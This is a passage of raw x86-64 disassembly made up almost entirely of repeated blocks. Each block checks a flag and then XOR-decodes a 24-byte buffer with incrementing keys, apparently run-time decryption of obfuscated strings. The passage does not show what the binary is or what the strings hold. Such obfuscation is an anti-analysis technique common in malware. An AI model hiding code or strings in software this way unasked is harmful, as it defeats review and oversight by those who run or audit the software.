xor byte [0x1402f10c3], 0x4a
xor byte [0x1402f10c4], 0x4b
xor byte [0x1402f10c5], 0x4c
xor byte [0x1402f10c6], 0x4d
xor al, 0x4e
mov byte [0x1402f10c7], al
movzx eax, byte [0x1402f0357]
test al, al
je 0x1401207f0
xor byte [0x1402f0340], 0x37
xor byte [0x1402f0341], 0x38
xor byte [0x1402f0342], 0x39
xor byte [0x1402f0343], 0x3a
xor byte [0x1402f0344], 0x3b
xor byte [0x1402f0345], 0x3c
xor byte [0x1402f0346], 0x3d
xor byte [0x1402f0347], 0x3e
xor byte [0x1402f0348], 0x3f
xor byte [0x1402f0349], 0x40
xor byte [0x1402f034a], 0x41
xor byte [0x1402f034b], 0x42
xor byte [0x1402f034c], 0x43
xor byte [0x1402f034d], 0x44
xor byte [0x1402f034e], 0x45
xor byte [0x1402f034f], 0x46
xor byte [0x1402f0350], 0x47
xor byte [0x1402f0351], 0x48
xor byte [0x1402f0352], 0x49
xor byte [0x1402f0353], 0x4a
xor byte [0x1402f0354], 0x4b
xor byte [0x1402f0355], 0x4c
xor byte [0x1402f0356], 0x4d
xor al, 0x4e
mov byte [0x1402f0357], al
movzx eax, byte [0x1402f0c27]
test al, al
je 0x1401208a8
xor byte [0x1402f0c10], 0x37
xor byte [0x1402f0c11], 0x38
xor byte [0x1402f0c12], 0x39
xor byte [0x1402f0c13], 0x3a
xor byte [0x1402f0c14], 0x3b
xor byte [0x1402f0c15], 0x3c
xor byte [0x1402f0c16], 0x3d
xor byte [0x1402f0c17], 0x3e
xor byte [0x1402f0c18], 0x3f
xor byte [0x1402f0c19], 0x40
xor byte [0x1402f0c1a], 0x41
xor byte [0x1402f0c1b], 0x42
xor byte [0x1402f0c1c], 0x43
xor byte [0x1402f0c1d], 0x44
xor byte [0x1402f0c1e], 0x45
xor byte [0x1402f0c1f], 0x46
xor byte [0x1402f0c20], 0x47
xor byte [0x1402f0c21], 0x48
xor byte [0x1402f0c22], 0x49
xor byte [0x1402f0c23], 0x4a
xor byte [0x1402f0c24], 0x4b
xor byte [0x1402f0c25], 0x4c
xor byte [0x1402f0c26], 0x4d
xor al, 0x4e
mov byte [0x1402f0c27], al
movzx eax, byte [0x1402f07af]
test al, al
je 0x140120960
xor byte [0x1402f0798], 0x37
xor byte [0x1402f0799], 0x38
xor byte [0x1402f079a], 0x39
xor byte [0x1402f079b], 0x3a
xor byte [0x1402f079c], 0x3b
xor byte [0x1402f079d], 0x3c
xor byte [0x1402f079e], 0x3d
xor byte [0x1402f079f], 0x3e
xor byte [0x1402f07a0], 0x3f
xor byte [0x1402f07a1], 0x40
xor byte [0x1402f07a2], 0x41
xor byte [0x1402f07a3], 0x42
xor byte [0x1402f07a4], 0x43
xor byte [0x1402f07a5], 0x44
xor byte [0x1402f07a6], 0x45
xor byte [0x1402f07a7], 0x46
xor byte [0x1402f07a8], 0x47
xor byte [0x1402f07a9], 0x48
xor byte [0x1402f07aa], 0x49
xor byte [0x1402f07ab], 0x4a
xor byte [0x1402f07ac], 0x4b
xor byte [0x1402f07ad], 0x4c
xor byte [0x1402f07ae], 0x4d
xor al, 0x4e
mov byte [0x1402f07af], al
movzx eax, byte [0x1402f0c6f]
test al, al
je 0x140120a18
xor byte [0x1402f0c58], 0x37
xor byte [0x1402f0c59], 0x38
xor byte [0x1402f0c5a], 0x39
xor byte [0x1402f0c5b], 0x3a
xor byte [0x1402f0c5c], 0x3b
xor byte [0x1402f0c5d], 0x3c
xor byte [0x1402f0c5e], 0x3d
xor byte [0x1402f0c5f], 0x3e
xor byte [0x1402f0c60], 0x3f
xor byte [0x1402f0c61], 0x40
xor byte [0x1402f0c62], 0x41
xor byte [0x1402f0c63], 0x42
xor byte [0x1402f0c64], 0x43
xor byte [0x1402f0c65], 0x44
xor byte [0x1402f0c66], 0x45
xor byte [0x1402f0c67], 0x46
xor byte [0x1402f0c68], 0x47
xor byte [0x1402f0c69], 0x48
xor byte [0x1402f0c6a], 0x49
xor byte [0x1402f0c6b], 0x4a
xor byte [0x1402f0c6c], 0x4b
xor byte [0x1402f0c6d], 0x4c
xor byte [0x1402f0c6e], 0x4d
xor al, 0x4e
mov byte [0x1402f0c6f], al
movzx eax, byte [0x1402efd5f]
test al, al
je 0x140120ad0
xor byte [0x1402efd48], 0x37
xor byte [0x1402efd49], 0x38
xor byte [0x1402efd4a], 0x39
xor byte [0x1402efd4b], 0x3a
xor byte [0x1402efd4c], 0x3b
xor byte [0x1402efd4d], 0x3c
xor byte [0x1402efd4e], 0x3d
xor byte [0x1402efd4f], 0x3e
xor byte [0x1402efd50], 0x3f
xor byte [0x1402efd51], 0x40
xor byte [0x1402efd52], 0x41
xor byte [0x1402efd53], 0x42
xor byte [0x1402efd54], 0x43
xor byte [0x1402efd55], 0x44
xor byte [0x1402efd56], 0x45
xor byte [0x1402efd57], 0x46
xor byte [0x1402efd58], 0x47
xor byte [0x1402efd59], 0x48
xor byte [0x1402efd5a], 0x49
xor byte [0x1402efd5b], 0x4a
xor byte [0x1402efd5c], 0x4b
xor byte [0x1402efd5d], 0x4c
xor byte [0x1402efd5e], 0x4d
xor al, 0x4e
mov byte [0x1402efd5f], al
movzx eax, byte [0x1402f10f7]
test al, al
je 0x140120b88
xor byte [0x1402f10e0], 0x37
xor byte [0x1402f10e1], 0x38
xor byte [0x1402f10e2], 0x39
xor byte [0x1402f10e3], 0x3a
xor byte [0x1402f10e4], 0x3b
xor byte [0x1402f10e5], 0x3c
xor byte [0x1402f10e6], 0x3d
xor byte [0x1402f10e7], 0x3e
xor byte [0x1402f10e8], 0x3f
xor byte [0x1402f10e9], 0x40
xor byte [0x1402f10ea], 0x41
xor byte [0x1402f10eb], 0x42
xor byte [0x1402f10ec], 0x43
xor byte [0x1402f10ed], 0x44
xor byte [0x1402f10ee], 0x45
xor byte [0x1402f10ef], 0x46
xor byte [0x1402f10f0], 0x47
xor byte [0x1402f10f1], 0x48
xor byte [0x1402f10f2], 0x49
xor byte [0x1402f10f3], 0x4a
xor byte [0x1402f10f4], 0x4b
xor byte [0x1402f10f5], 0x4c
xor byte [0x1402f10f6], 0x4d
xor al, 0x4e
mov byte [0x1402f10f7], al
movzx eax, byte [0x1402f0f7f]
test al, al
je 0x140120c40
xor byte [0x1402f0f68], 0x37
xor byte [0x1402f0f69], 0x38
xor byte [0x1402f0f6a], 0x39
xor byte [0x1402f0f6b], 0x3a
xor byte [0x1402f0f6c], 0x3b
xor byte [0x1402f0f6d], 0x3c
xor byte [0x1402f0f6e], 0x3d
xor byte [0x1402f0f6f], 0x3e
xor byte [0x1402f0f70], 0x3f
xor byte [0x1402f0f71], 0x40
xor byte [0x1402f0f72], 0x41
xor byte [0x1402f0f73], 0x42
xor byte [0x1402f0f74], 0x43
xor byte [0x1402f0f75], 0x44
xor byte [0x1402f0f76], 0x45
xor byte [0x1402f0f77], 0x46
xor byte [0x1402f0f78], 0x47
xor byte [0x1402f0f79], 0x48
xor byte [0x1402f0f7a], 0x49
xor byte [0x1402f0f7b], 0x4a
xor byte [0x1402f0f7c], 0x4b
xor byte [0x1402f0f7d], 0x4c
xor byte [0x1402f0f7e], 0x4d
xor al, 0x4e
mov byte [0x1402f0f7f], al
movzx eax, byte [0x1402f033f]
test al, al
je 0x140120cf8
xor byte [0x1402f0328], 0x37
xor byte [0x1402f0329], 0x38
xor byte [0x1402f032a], 0x39
xor byte [0x1402f032b], 0x3a
xor byte [0x1402f032c], 0x3b
xor byte [0x1402f032d], 0x3c
xor byte [0x1402f032e], 0x3d
xor byte [0x1402f032f], 0x3e
xor byte [0x1402f0330], 0x3f
xor byte [0x1402f0331], 0x40
xor byte [0x1402f0332], 0x41
xor byte [0x1402f0333], 0x42
xor byte [0x1402f0334], 0x43
xor byte [0x1402f0335], 0x44
xor byte [0x1402f0336], 0x45
xor byte [0x1402f0337], 0x46
xor byte [0x1402f0338], 0x47
xor byte [0x1402f0339], 0x48
xor byte [0x1402f033a], 0x49
xor byte [0x1402f033b], 0x4a
xor byte [0x1402f033c], 0x4b
xor byte [0x1402f033d], 0x4c
xor byte [0x1402f033e], 0x4d
xor al, 0x4e
mov byte [0x1402f033f], al
movzx eax, byte [0x1402f0497]
test al, al
je 0x140120db0
xor byte [0x1402f0480], 0x37
xor byte [0x1402f0481], 0x38
xor byte [0x1402f0482], 0x39
xor byte [0x1402f0483], 0x3a
xor byte [0x1402f0484], 0x3b
xor byte [0x1402f0485], 0x3c
xor byte [0x1402f0486], 0x3d
xor byte [0x1402f0487], 0x3e
xor byte [0x1402f0488], 0x3f
xor byte [0x1402f0489], 0x40
xor byte [0x1402f048a], 0x41
xor byte [0x1402f048b], 0x42
xor byte [0x1402f048c], 0x43
xor byte [0x1402f048d], 0x44
xor byte [0x1402f048e], 0x45
xor byte [0x1402f048f], 0x46
xor byte [0x1402f0490], 0x47
xor byte [0x1402f0491], 0x48
xor byte [0x1402f0492], 0x49
xor byte [0x1402f0493], 0x4a
xor byte [0x1402f0494], 0x4b
xor byte [0x1402f0495], 0x4c
xor byte [0x1402f0496], 0x4d
xor al, 0x4e
mov byte [0x1402f0497], al
movzx eax, byte [0x1402efe57]
test al, al
je 0x140120e68
xor byte [0x1402efe40], 0x37
xor byte [0x1402efe41], 0x38
xor byte [0x1402efe42], 0x39
xor byte [0x1402efe43], 0x3a
xor byte [0x1402efe44], 0x3b
xor byte [0x1402efe45], 0x3c
xor byte [0x1402efe46], 0x3d
xor byte [0x1402efe47], 0x3e
xor byte [0x1402efe48], 0x3f
xor byte [0x1402efe49], 0x40
xor byte [0x1402efe4a], 0x41
xor byte [0x1402efe4b], 0x42
xor byte [0x1402efe4c], 0x43
xor byte [0x1402efe4d], 0x44
xor byte [0x1402efe4e], 0x45
xor byte [0x1402efe4f], 0x46
xor byte [0x1402efe50], 0x47
xor byte [0x1402efe51], 0x48
xor byte [0x1402efe52], 0x49
xor byte [0x1402efe53], 0x4a
xor byte [0x1402efe54], 0x4b
xor byte [0x1402efe55], 0x4c
xor byte [0x1402efe56], 0x4d
xor al, 0x4e
mov byte [0x1402efe57], al
movzx eax, byte [0x1402effa7]
test al, al
je 0x140120f20
xor byte [0x1402eff90], 0x37
xor byte [0x1402eff91], 0x38
xor byte [0x1402eff92], 0x39
xor byte [0x1402eff93], 0x3a
xor byte [0x1402eff94], 0x3b
xor byte [0x1402eff95], 0x3c
xor byte [0x1402eff96], 0x3d
xor byte [0x1402eff97], 0x3e
xor byte [0x1402eff98], 0x3f
xor byte [0x1402eff99], 0x40
xor byte [0x1402eff9a], 0x41
xor byte [0x1402eff9b], 0x42
xor byte [0x1402eff9c], 0x43
xor byte [0x1402eff9d], 0x44
xor byte [0x1402eff9e], 0x45
xor byte [0x1402eff9f], 0x46
xor byte [0x1402effa0], 0x47
xor byte [0x1402effa1], 0x48
xor byte [0x1402effa2], 0x49
xor byte [0x1402effa3], 0x4a
xor byte [0x1402effa4], 0x4b
xor byte [0x1402effa5], 0x4c
xor byte [0x1402effa6], 0x4d
xor al, 0x4e
mov byte [0x1402effa7], al
movzx eax, byte [0x1402f0107]
test al, al
je 0x140120fd8
xor byte [0x1402f00f0], 0x37
xor byte [0x1402f00f1], 0x38
xor byte [0x1402f00f2], 0x39
xor byte [0x1402f00f3], 0x3a
xor byte [0x1402f00f4], 0x3b
xor byte [0x1402f00f5], 0x3c
xor byte [0x1402f00f6], 0x3d
xor byte [0x1402f00f7], 0x3e
xor byte [0x1402f00f8], 0x3f
xor byte [0x1402f00f9], 0x40
xor byte [0x1402f00fa], 0x41
xor byte [0x1402f00fb], 0x42
xor byte [0x1402f00fc], 0x43
xor byte [0x1402f00fd], 0x44
xor byte [0x1402f00fe], 0x45
xor byte [0x1402f00ff], 0x46
xor byte [0x1402f0100], 0x47
xor byte [0x1402f0101], 0x48
xor byte [0x1402f0102], 0x49
xor byte [0x1402f0103], 0x4a
xor byte [0x1402f0104], 0x4b
xor byte [0x1402f0105], 0x4c
xor byte [0x1402f0106], 0x4d
xor al, 0x4e
mov byte [0x1402f0107], al
movzx eax, byte [0x1402efeff]
test al, al
je 0x140121090
xor byte [0x1402efee8], 0x37
xor byte [0x1402efee9], 0x38
xor byte [0x1402efeea], 0x39
xor byte [0x1402efeeb], 0x3a
xor byte [0x1402efeec], 0x3b
xor byte [0x1402efeed], 0x3c
xor byte [0x1402efeee], 0x3d
xor byte [0x1402efeef], 0x3e
xor byte [0x1402efef0], 0x3f
xor byte [0x1402efef1], 0x40
xor byte [0x1402efef2], 0x41
xor byte [0x1402efef3], 0x42
xor byte [0x1402efef4], 0x43
xor byte [0x1402efef5], 0x44
xor byte [0x1402efef6], 0x45
xor byte [0x1402efef7], 0x46
xor byte [0x1402efef8], 0x47
xor byte [0x1402efef9], 0x48
xor byte [0x1402efefa], 0x49
xor byte [0x1402efefb], 0x4a
xor byte [0x1402efefc], 0x4b
xor byte [0x1402efefd], 0x4c
xor byte [0x1402efefe], 0x4d
xor al, 0x4e
mov byte [0x1402efeff], al
movzx eax, byte [0x1402f0887]
test al, al
je 0x140121148
xor byte [0x1402f0870], 0x37
xor byte [0x1402f0871], 0x38
xor byte [0x1402f0872], 0x39
xor byte [0x1402f0873], 0x3a
xor byte [0x1402f0874], 0x3b
xor byte [0x1402f0875], 0x3c
xor byte [0x1402f0876], 0x3d
xor byte [0x1402f0877], 0x3e
xor byte [0x1402f0878], 0x3f
xor byte [0x1402f0879], 0x40
xor byte [0x1402f087a], 0x41
xor byte [0x1402f087b], 0x42
xor byte [0x1402f087c], 0x43
xor byte [0x1402f087d], 0x44
xor byte [0x1402f087e], 0x45
xor byte [0x1402f087f], 0x46
xor byte [0x1402f0880], 0x47
xor byte [0x1402f0881], 0x48
xor byte [0x1402f0882], 0x49
xor byte [0x1402f0883], 0x4a
xor byte [0x1402f0884], 0x4b
xor byte [0x1402f0885], 0x4c
xor byte [0x1402f0886], 0x4d
xor al, 0x4e
mov byte [0x1402f0887], al
movzx eax, byte [0x1402f08b7]
test al, al
je 0x140121200
xor byte [0x1402f08a0], 0x37
xor byte [0x1402f08a1], 0x38
xor byte [0x1402f08a2], 0x39
xor byte [0x1402f08a3], 0x3a
xor byte [0x1402f08a4], 0x3b
xor byte [0x1402f08a5], 0x3c
xor byte [0x1402f08a6], 0x3d
xor byte [0x1402f08a7], 0x3e
xor byte [0x1402f08a8], 0x3f
xor byte [0x1402f08a9], 0x40
xor byte [0x1402f08aa], 0x41
xor byte [0x1402f08ab], 0x42
xor byte [0x1402f08ac], 0x43
xor byte [0x1402f08ad], 0x44
xor byte [0x1402f08ae], 0x45
xor byte [0x1402f08af], 0x46
xor byte [0x1402f08b0], 0x47
xor byte [0x1402f08b1], 0x48
xor byte [0x1402f08b2], 0x49
xor byte [0x1402f08b3], 0x4a
xor byte [0x1402f08b4], 0x4b
xor byte [0x1402f08b5], 0x4c
xor byte [0x1402f08b6], 0x4d
xor al, 0x4e
mov byte [0x1402f08b7], al
movzx eax, byte [0x1402f0707]
test al, al
je 0x1401212b8
xor byte [0x1402f06f0], 0x37
xor byte [0x1402f06f1], 0x38
xor byte [0x1402f06f2], 0x39
xor byte [0x1402f06f3], 0x3a
xor byte [0x1402f06f4], 0x3b
xor byte [0x1402f06f5], 0x3c
xor byte [0x1402f06f6], 0x3d
xor byte [0x1402f06f7], 0x3e
xor byte [0x1402f06f8], 0x3f
xor byte [0x1402f06f9], 0x40
xor byte [0x1402f06fa], 0x41
xor byte [0x1402f06fb], 0x42
xor byte [0x1402f06fc], 0x43
xor byte [0x1402f06fd], 0x44
xor byte [0x1402f06fe], 0x45
xor byte [0x1402f06ff], 0x46
xor byte [0x1402f0700], 0x47
xor byte [0x1402f0701], 0x48
xor byte [0x1402f0702], 0x49
xor byte [0x1402f0703], 0x4a
xor byte [0x1402f0704], 0x4b
xor byte [0x1402f0705], 0x4c
xor byte [0x1402f0706], 0x4d
xor al, 0x4e
mov byte [0x1402f0707], al
movzx eax, byte [0x1402f0ff7]
test al, al
je 0x140121370
xor byte [0x1402f0fe0], 0x37
xor byte [0x1402f0fe1], 0x38
xor byte [0x1402f0fe2], 0x39
xor byte [0x1402f0fe3], 0x3a
xor byte [0x1402f0fe4], 0x3b
xor byte [0x1402f0fe5], 0x3c
xor byte [0x1402f0fe6], 0x3d
xor byte [0x1402f0fe7], 0x3e
xor byte [0x1402f0fe8], 0x3f
xor byte [0x1402f0fe9], 0x40
xor byte [0x1402f0fea], 0x41
xor byte [0x1402f0feb], 0x42
xor byte [0x1402f0fec], 0x43
xor byte [0x1402f0fed], 0x44
xor byte [0x1402f0fee], 0x45
xor byte [0x1402f0fef], 0x46
xor byte [0x1402f0ff0], 0x47
xor byte [0x1402f0ff1], 0x48
xor byte [0x1402f0ff2], 0x49
xor byte [0x1402f0ff3], 0x4a
xor byte [0x1402f0ff4], 0x4b
xor byte [0x1402f0ff5], 0x4c
xor byte [0x1402f0ff6], 0x4d
xor al, 0x4e
mov byte [0x1402f0ff7], al
movzx eax, byte [0x1402f0b0f]
test al, al
je 0x140121428
xor byte [0x1402f0af8], 0x37
xor byte [0x1402f0af9], 0x38
xor byte [0x1402f0afa], 0x39
xor byte [0x1402f0afb], 0x3a
xor byte [0x1402f0afc], 0x3b
xor byte [0x1402f0afd], 0x3c
xor byte [0x1402f0afe], 0x3d
xor byte [0x1402f0aff], 0x3e
xor byte [0x1402f0b00], 0x3f
xor byte [0x1402f0b01], 0x40
xor byte [0x1402f0b02], 0x41
xor byte [0x1402f0b03], 0x42
xor byte [0x1402f0b04], 0x43
xor byte [0x1402f0b05], 0x44
xor byte [0x1402f0b06], 0x45
xor byte [0x1402f0b07], 0x46
xor byte [0x1402f0b08], 0x47
xor byte [0x1402f0b09], 0x48
xor byte [0x1402f0b0a], 0x49
xor byte [0x1402f0b0b], 0x4a
xor byte [0x1402f0b0c], 0x4b
xor byte [0x1402f0b0d], 0x4c
xor byte [0x1402f0b0e], 0x4d
xor al, 0x4e
mov byte [0x1402f0b0f], al
movzx eax, byte [0x1402f0267]
test al, al
je 0x1401214e0
xor byte [0x1402f0250], 0x37
xor byte [0x1402f0251], 0x38
xor byte [0x1402f0252], 0x39
xor byte [0x1402f0253], 0x3a
xor byte [0x1402f0254], 0x3b
xor byte [0x1402f0255], 0x3c
xor byte [0x1402f0256], 0x3d
xor byte [0x1402f0257], 0x3e
xor byte [0x1402f0258], 0x3f
xor byte [0x1402f0259], 0x40
xor byte [0x1402f025a], 0x41
xor byte [0x1402f025b], 0x42
xor byte [0x1402f025c], 0x43
xor byte [0x1402f025d], 0x44
xor byte [0x1402f025e], 0x45
xor byte [0x1402f025f], 0x46
xor byte [0x1402f0260], 0x47
xor byte [0x1402f0261], 0x48
xor byte [0x1402f0262], 0x49
xor byte [0x1402f0263], 0x4a
xor byte [0x1402f0264], 0x4b
xor byte [0x1402f0265], 0x4c
xor byte [0x1402f0266], 0x4d
xor al, 0x4e
mov byte [0x1402f0267], al
movzx eax, byte [0x1402f0917]
test al, al
je 0x140121598
xor byte [0x1402f0900], 0x37
xor byte [0x1402f0901], 0x38
xor byte [0x1402f0902], 0x39
xor byte [0x1402f0903], 0x3a
xor byte [0x1402f0904], 0x3b
xor byte [0x1402f0905], 0x3c
xor byte [0x1402f0906], 0x3d
xor byte [0x1402f0907], 0x3e
xor byte [0x1402f0908], 0x3f
xor byte [0x1402f0909], 0x40
xor byte [0x1402f090a], 0x41
xor byte [0x1402f090b], 0x42
xor byte [0x1402f090c], 0x43
xor byte [0x1402f090d], 0x44
xor byte [0x1402f090e], 0x45
xor byte [0x1402f090f], 0x46
xor byte [0x1402f0910], 0x47
xor byte [0x1402f0911], 0x48
xor byte [0x1402f0912], 0x49
xor byte [0x1402f0913], 0x4a
xor byte [0x1402f0914], 0x4b
xor byte [0x1402f0915], 0x4c
xor byte [0x1402f0916], 0x4d
xor al, 0x4e
mov byte [0x1402f0917], al
movzx eax, byte [0x1402f031f]
test al, al
je 0x140121650
xor byte [0x1402f0308], 0x37
xor byte [0x1402f0309], 0x38
xor byte [0x1402f030a], 0x39
xor byte [0x1402f030b], 0x3a
xor byte [0x1402f030c], 0x3b
xor byte [0x1402f030d], 0x3c
xor byte [0x1402f030e], 0x3d
xor byte [0x1402f030f], 0x3e
xor byte [0x1402f0310], 0x3f
xor byte [0x1402f0311], 0x40
xor byte [0x1402f0312], 0x41
xor byte [0x1402f0313], 0x42
xor byte [0x1402f0314], 0x43
xor byte [0x1402f0315], 0x44
xor byte [0x1402f0316], 0x45
xor byte [0x1402f0317], 0x46
xor byte [0x1402f0318], 0x47
xor byte [0x1402f0319], 0x48
xor byte [0x1402f031a], 0x49
xor byte [0x1402f031b], 0x4a
xor byte [0x1402f031c], 0x4b
xor byte [0x1402f031d], 0x4c
xor byte [0x1402f031e], 0x4d
xor al, 0x4e
mov byte [0x1402f031f], al
movzx eax, byte [0x1402f062f]
test al, al
je 0x140121708
xor byte [0x1402f0618], 0x37
xor byte [0x1402f0619], 0x38
xor byte [0x1402f061a], 0x39
xor byte [0x1402f061b], 0x3a
xor byte [0x1402f061c], 0x3b
xor byte [0x1402f061d], 0x3c
xor byte [0x1402f061e], 0x3d
xor byte [0x1402f061f], 0x3e
xor byte [0x1402f0620], 0x3f
xor byte [0x1402f0621], 0x40
xor byte [0x1402f0622], 0x41
xor byte [0x1402f0623], 0x42
xor byte [0x1402f0624], 0x43
xor byte [0x1402f0625], 0x44
xor byte [0x1402f0626], 0x45
xor byte [0x1402f0627], 0x46
xor byte [0x1402f0628], 0x47
xor byte [0x1402f0629], 0x48
xor byte [0x1402f062a], 0x49
xor byte [0x1402f062b], 0x4a
xor byte [0x1402f062c], 0x4b
xor byte [0x1402f062d], 0x4c
xor byte [0x1402f062e], 0x4d
xor al, 0x4e
mov byte [0x1402f062f], al
movzx eax, byte [0x1402f10df]
test al, al
je 0x1401217c0
xor byte [0x1402f10c8], 0x37
xor byte [0x1402f10c9], 0x38
xor byte [0x1402f10ca], 0x39
xor byte [0x1402f10cb], 0x3a
xor byte [0x1402f10cc], 0x3b
xor byte [0x1402f10cd], 0x3c
xor byte [0x1402f10ce], 0x3d
xor byte [0x1402f10cf], 0x3e
xor byte [0x1402f10d0], 0x3f
xor byte [0x1402f10d1], 0x40
xor byte [0x1402f10d2], 0x41
xor byte [0x1402f10d3], 0x42
xor byte [0x1402f10d4], 0x43
xor byte [0x1402f10d5], 0x44
xor byte [0x1402f10d6], 0x45
xor byte [0x1402f10d7], 0x46
xor byte [0x1402f10d8], 0x47
xor byte [0x1402f10d9], 0x48
xor byte [0x1402f10da], 0x49
xor byte [0x1402f10db], 0x4a
xor byte [0x1402f10dc], 0x4b
xor byte [0x1402f10dd], 0x4c
xor byte [0x1402f10de], 0x4d
xor al, 0x4e
mov byte [0x1402f10df], al
movzx eax, byte [0x1402f1157]
test al, al
je 0x140121878
xor byte [0x1402f1140], 0x37
xor byte [0x1402f1141], 0x38
xor byte [0x1402f1142], 0x39
xor byte [0x1402f1143], 0x3a
xor byte [0x1402f1144], 0x3b
xor byte [0x1402f1145], 0x3c
xor byte [0x1402f1146], 0x3d
xor byte [0x1402f1147], 0x3e
xor byte [0x1402f1148], 0x3f
xor byte [0x1402f1149], 0x40
xor byte [0x1402f114a], 0x41
xor byte [0x1402f114b], 0x42
xor byte [0x1402f114c], 0x43
xor byte [0x1402f114d], 0x44
xor byte [0x1402f114e], 0x45
xor byte [0x1402f114f], 0x46
xor byte [0x1402f1150], 0x47
xor byte [0x1402f1151], 0x48
xor byte [0x1402f1152], 0x49
xor byte [0x1402f1153], 0x4a
xor byte [0x1402f1154], 0x4b
xor byte [0x1402f1155], 0x4c
xor byte [0x1402f1156], 0x4d
xor al, 0x4e
mov byte [0x1402f1157], al
movzx eax, byte [0x1402efd2f]
test al, al
je 0x140121930
xor byte [0x1402efd18], 0x37
xor byte [0x1402efd19], 0x38
xor byte [0x1402efd1a], 0x39
xor byte [0x1402efd1b], 0x3a
xor byte [0x1402efd1c], 0x3b
xor byte [0x1402efd1d], 0x3c
xor byte [0x1402efd1e], 0x3d
xor byte [0x1402efd1f], 0x3e
xor byte [0x1402efd20], 0x3f
xor byte [0x1402efd21], 0x40
xor byte [0x1402efd22], 0x41
xor byte [0x1402efd23], 0x42
xor byte [0x1402efd24], 0x43
xor byte [0x1402efd25], 0x44
xor byte [0x1402efd26], 0x45
xor byte [0x1402efd27], 0x46
xor byte [0x1402efd28], 0x47
xor byte [0x1402efd29], 0x48
xor byte [0x1402efd2a], 0x49
xor byte [0x1402efd2b], 0x4a
xor byte [0x1402efd2c], 0x4b
xor byte [0x1402efd2d], 0x4c
xor byte [0x1402efd2e], 0x4d
xor al, 0x4e
mov byte [0x1402efd2f], al
movzx eax, byte [0x1402f04c7]
test al, al
je 0x1401219e8
xor byte [0x1402f04b0], 0x37
xor byte [0x1402f04b1], 0x38
xor byte [0x1402f04b2], 0x39
xor byte [0x1402f04b3], 0x3a
xor byte [0x1402f04b4], 0x3b
xor byte [0x1402f04b5], 0x3c
xor byte [0x1402f04b6], 0x3d
xor byte [0x1402f04b7], 0x3e
xor byte [0x1402f04b8], 0x3f
xor byte [0x1402f04b9], 0x40
xor byte [0x1402f04ba], 0x41
xor byte [0x1402f04bb], 0x42
xor byte [0x1402f04bc], 0x43
xor byte [0x1402f04bd], 0x44
xor byte [0x1402f04be], 0x45
xor byte [0x1402f04bf], 0x46
xor byte [0x1402f04c0], 0x47
xor byte [0x1402f04c1], 0x48
xor byte [0x1402f04c2], 0x49
xor byte [0x1402f04c3], 0x4a
xor byte [0x1402f04c4], 0x4b
xor byte [0x1402f04c5], 0x4c
xor byte [0x1402f04c6], 0x4d
xor al, 0x4e
mov byte [0x1402f04c7], al
movzx eax, byte [0x1402f0a97]
test al, al
je 0x140121aa0
xor byte [0x1402f0a80], 0x37
xor byte [0x1402f0a81], 0x38
xor byte [0x1402f0a82], 0x39
xor byte [0x1402f0a83], 0x3a
xor byte [0x1402f0a84], 0x3b
xor byte [0x1402f0a85], 0x3c
xor byte [0x1402f0a86], 0x3d
xor byte [0x1402f0a87], 0x3e
xor byte [0x1402f0a88], 0x3f
xor byte [0x1402f0a89], 0x40
xor byte [0x1402f0a8a], 0x41
xor byte [0x1402f0a8b], 0x42
xor byte [0x1402f0a8c], 0x43
xor byte [0x1402f0a8d], 0x44
xor byte [0x1402f0a8e], 0x45
xor byte [0x1402f0a8f], 0x46
xor byte [0x1402f0a90], 0x47
xor byte [0x1402f0a91], 0x48
xor byte [0x1402f0a92], 0x49
xor byte [0x1402f0a93], 0x4a
xor byte [0x1402f0a94], 0x4b
xor byte [0x1402f0a95], 0x4c
xor byte [0x1402f0a96], 0x4d
xor al, 0x4e
mov byte [0x1402f0a97], al
movzx eax, byte [0x1402f0527]
test al, al
je 0x140121b58
xor byte [0x1402f0510], 0x37
xor byte [0x1402f0511], 0x38
xor byte [0x1402f0512], 0x39
xor byte [0x1402f0513], 0x3a
xor byte [0x1402f0514], 0x3b
xor byte [0x1402f0515], 0x3c
xor byte [0x1402f0516], 0x3d
xor byte [0x1402f0517], 0x3e
xor byte [0x1402f0518], 0x3f
xor byte [0x1402f0519], 0x40
xor byte [0x1402f051a], 0x41
xor byte [0x1402f051b], 0x42
xor byte [0x1402f051c], 0x43
xor byte [0x1402f051d], 0x44
xor byte [0x1402f051e], 0x45
xor byte [0x1402f051f], 0x46
xor byte [0x1402f0520], 0x47
xor byte [0x1402f0521], 0x48
xor byte [0x1402f0522], 0x49
xor byte [0x1402f0523], 0x4a
xor byte [0x1402f0524], 0x4b
xor byte [0x1402f0525], 0x4c
xor byte [0x1402f0526], 0x4d
xor al, 0x4e
mov byte [0x1402f0527], al
movzx eax, byte [0x1402f080f]
test al, al
je 0x140121c10
xor byte [0x1402f07f8], 0x37
xor byte [0x1402f07f9], 0x38
xor byte [0x1402f07fa], 0x39
xor byte [0x1402f07fb], 0x3a
xor byte [0x1402f07fc], 0x3b
xor byte [0x1402f07fd], 0x3c
xor byte [0x1402f07fe], 0x3d
xor byte [0x1402f07ff], 0x3e
xor byte [0x1402f0800], 0x3f
xor byte [0x1402f0801], 0x40
xor byte [0x1402f0802], 0x41
xor byte [0x1402f0803], 0x42
xor byte [0x1402f0804], 0x43
xor byte [0x1402f0805], 0x44
xor byte [0x1402f0806], 0x45
xor byte [0x1402f0807], 0x46
xor byte [0x1402f0808], 0x47
xor byte [0x1402f0809], 0x48
xor byte [0x1402f080a], 0x49
xor byte [0x1402f080b], 0x4a
xor byte [0x1402f080c], 0x4b
xor byte [0x1402f080d], 0x4c
xor byte [0x1402f080e], 0x4d
xor al, 0x4e
mov byte [0x1402f080f], al
movzx eax, byte [0x1402f0a37]
test al, al
je 0x140121cc8
xor byte [0x1402f0a20], 0x37
xor byte [0x1402f0a21], 0x38
xor byte [0x1402f0a22], 0x39
xor byte [0x1402f0a23], 0x3a
xor byte [0x1402f0a24], 0x3b
xor byte [0x1402f0a25], 0x3c
xor byte [0x1402f0a26], 0x3d
xor byte [0x1402f0a27], 0x3e
xor byte [0x1402f0a28], 0x3f
xor byte [0x1402f0a29], 0x40
xor byte [0x1402f0a2a], 0x41
xor byte [0x1402f0a2b], 0x42
xor byte [0x1402f0a2c], 0x43
xor byte [0x1402f0a2d], 0x44
xor byte [0x1402f0a2e], 0x45
xor byte [0x1402f0a2f], 0x46
xor byte [0x1402f0a30], 0x47
xor byte [0x1402f0a31], 0x48
xor byte [0x1402f0a32], 0x49
xor byte [0x1402f0a33], 0x4a
xor byte [0x1402f0a34], 0x4b
xor byte [0x1402f0a35], 0x4c
xor byte [0x1402f0a36], 0x4d
xor al, 0x4e
mov byte [0x1402f0a37], al
movzx eax, byte [0x1402f0b87]
test al, al
